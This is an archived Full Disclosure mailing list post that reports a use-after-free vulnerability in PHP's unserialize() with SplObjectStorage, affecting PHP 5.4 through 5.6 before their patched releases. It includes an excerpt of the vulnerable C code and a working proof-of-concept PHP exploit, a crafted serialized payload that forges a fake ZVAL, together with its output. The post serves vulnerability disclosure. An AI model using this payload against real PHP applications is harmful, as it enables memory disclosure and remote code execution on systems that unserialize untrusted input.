Full Disclosure mailing list archives

By Date By Thread Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage From: Taoguang Chen <taoguangchen () gmail com>

Date: Sat, 5 Sep 2015 10:21:09 +0800

#Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date: 2015.8.27 - Release Date: 2015.9.4 A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely. Affected Versions ------------ Affected is PHP 5.6 < 5.6.13 Affected is PHP 5.5 < 5.5.29 Affected is PHP 5.4 < 5.4.45 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ ``` ALLOC_INIT_ZVAL(pentry); if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&pentry); goto outexcept; } if(Z_TYPE_P(pentry) != IS_OBJECT) { goto outexcept; } ALLOC_INIT_ZVAL(pinf); if (*p == ',') { /* new version has inf */ ++p; if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&pinf); goto outexcept; } } ``` It has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. However during deserialization will still allow to use R: or r: to set references to that already freed memory. It is possible to use-after-free attack and execute arbitrary code remotely. Proof of Concept Exploit ------------ The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12. ``` <?php class obj { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}'; $exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}'; $data = unserialize($exploit); var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?> ``` Test the PoC on the command line: ``` $ php uafpoc.php array(5) { [0]=> int(1) [1]=> &int(1) [2]=> object(obj)#3 (1) { ["ryat"]=> &int(1) } [3]=> int(1122334455) <=== so we can control the memory and create fake ZVAL :) [4]=> string(24) "?v?B????" } ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Yet Another Use After Free Vulnerability in unserialize() with SplObjectStorage Taoguang Chen (Sep 07)